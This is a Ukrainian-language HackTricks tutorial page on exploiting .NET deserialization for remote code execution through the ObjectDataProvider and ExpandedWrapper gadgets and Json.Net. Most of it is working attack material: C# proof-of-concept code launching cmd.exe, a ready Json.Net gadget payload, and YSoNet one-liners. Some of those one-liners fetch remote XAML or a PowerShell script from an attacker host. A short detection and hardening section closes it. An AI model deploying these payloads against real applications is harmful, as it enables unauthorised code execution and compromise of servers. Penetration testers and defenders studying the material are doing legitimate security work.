Основна десеріалізація .Net (гаджет ObjectDataProvider, ExpandedWrapper та Json.Net)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця стаття присвячена розумінню того, як експлуатується гаджет ObjectDataProvider для отримання RCE та як бібліотеки серіалізації Json.Net та xmlSerializer можуть бути зловживані з цим гаджетом.
Гаджет ObjectDataProvider
З документації: клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки.
Так, це дивне пояснення, тож давайте подивимося, що ж у цьому класі такого цікавого: цей клас дозволяє обгортати довільний об'єкт, використовувати MethodParameters для встановлення довільних параметрів і потім використовувати MethodName для виклику довільної функції довільного об'єкта, оголошеного за допомогою довільних параметрів.
Отже, довільний об'єкт буде виконувати функцію з параметрами під час десеріалізації.
Як це можливо
Простір імен System.Windows.Data, який знаходиться в PresentationFramework.dll за адресою C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, є місцем, де визначено та реалізовано ObjectDataProvider.
Використовуючи dnSpy, ви можете переглянути код класу, який нас цікавить. На зображенні нижче ми бачимо код PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ім'я методу
Як ви можете спостерігати, коли MethodName
встановлено, викликається base.Refresh()
, давайте подивимося, що це робить:
Добре, продовжимо дивитися, що робить this.BeginQuery()
. BeginQuery
переозначено класом ObjectDataProvider
, і ось що він робить:
Зверніть увагу, що в кінці коду викликається this.QueryWorke(null)
. Давайте подивимося, що це виконує:
Зверніть увагу, що це не повний код функції QueryWorker
, але він показує цікаву частину: код викликає this.InvokeMethodOnInstance(out ex);
це рядок, де викликається встановлений метод.
Якщо ви хочете перевірити, що просто встановивши MethodName, він буде виконаний, ви можете запустити цей код:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Зверніть увагу, що вам потрібно додати як посилання C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll, щоб завантажити System.Windows.Data
ExpandedWrapper
Використовуючи попередній експлойт, будуть випадки, коли об'єкт буде десеріалізовано як екземпляр ObjectDataProvider (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою GetType
). Тоді не буде відомо про тип об'єкта, який обгорнутий в екземплярі ObjectDataProvider (Process
, наприклад). Ви можете знайти більше інформації про вразливість DotNetNuke тут.
Цей клас дозволяє вказати типи об'єктів об'єктів, які інкапсульовані в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (ObjectDataProvider) в новий тип об'єкта та надання необхідних властивостей (ObjectDataProvider.MethodName та ObjectDataProvider.MethodParameters).
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо обгорнути _ObjectDataProvider** всередині екземпляра **ExpandedWrapper _ і під час десеріалізації цей клас створить об'єкт OjectDataProvider, який виконає функцію, вказану в MethodName.
Ви можете перевірити цей обгортальник за допомогою наступного коду:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
На офіційному веб-сайті вказано, що ця бібліотека дозволяє Серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного JSON-серіалізатора Json.NET. Отже, якщо ми зможемо десеріалізувати гаджет ObjectDataProvider, ми зможемо викликати RCE, просто десеріалізуючи об'єкт.
Json.Net приклад
По-перше, давайте подивимося приклад того, як серіалізувати/десеріалізувати об'єкт, використовуючи цю бібліотеку:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Зловживання Json.Net
Використовуючи ysoserial.net, я створив експлойт:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
У цьому коді ви можете перевірити експлойт, просто запустіть його, і ви побачите, що виконується calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Техніка ObjectDataProvider + ExpandedWrapper, представлена вище, є лише однією з БАГАТЬОХ ланцюгів гаджетів, які можна зловживати, коли додаток виконує неконтрольовану десеріалізацію .NET. Сучасні інструменти червоної команди, такі як YSoNet (та старіший ysoserial.net), автоматизують створення готових до використання шкідливих об'єктних графів для десятків гаджетів і форматів серіалізації.
Нижче наведено стисле посилання на найбільш корисні ланцюги, що постачаються з YSoNet, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації корисних навантажень.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Пошкоджує запис DelegateSerializationHolder , так що, після матеріалізації, делегат вказує на будь-який метод, наданий атакуючою стороною (наприклад, Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Зловживає System.Workflow.ComponentModel.ActivitySurrogateSelector , щоб обійти фільтрацію типів .NET ≥4.8 і безпосередньо викликати конструктор наданого класу або компілювати файл C# на льоту | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Використовує стару XML репрезентацію System.Data.DataSet , щоб створити випадкові типи, заповнюючи поля <ColumnMapping> / <DataType> (опціонально підробляючи збірку з --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | У середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне System.CodeDom.Compiler.CompilerResults , потім компілює або завантажує DLL, надану з -c | Json.NET без типу, MessagePack без типу | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (огляд) | Використовує WPF System.Windows.Data.ObjectDataProvider , щоб викликати випадковий статичний метод з контрольованими аргументами. YSoNet додає зручний варіант --xamlurl , щоб розмістити шкідливий XAML віддалено | BinaryFormatter , Json.NET , XAML , тощо | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Вбудовує ScriptBlock у System.Management.Automation.PSObject , який виконується, коли PowerShell десеріалізує об'єкт | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Усі корисні навантаження за замовчуванням записуються в stdout, що робить їх простими для передачі в інші інструменти (наприклад, генератори ViewState, кодувальники base64, HTTP-клієнти).
Building / Installing YSoNet
Якщо немає попередньо скомпільованих бінарних файлів під Actions ➜ Artifacts / Releases, наступна PowerShell команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Скомпільований ysonet.exe
можна знайти за адресою ysonet/bin/Release/
.
Виявлення та зміцнення
- Виявляйте несподівані дочірні процеси
w3wp.exe
,PowerShell.exe
або будь-який процес, що десеріалізує дані, надані користувачем (наприклад,MessagePack
,Json.NET
). - Увімкніть та забезпечте фільтрацію типів (
TypeFilterLevel
= Full, користувацькийSurrogateSelector
,SerializationBinder
, тощо), коли застарілийBinaryFormatter
/NetDataContractSerializer
не може бути видалений. - Де це можливо, мігруйте до
System.Text.Json
абоDataContractJsonSerializer
з конвертерами на основі білого списку. - Блокуйте небезпечні збірки WPF (
PresentationFramework
,System.Workflow.*
), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.
Посилання
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – оригінальний PoC інструмент
- Microsoft – CVE-2017-8565
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.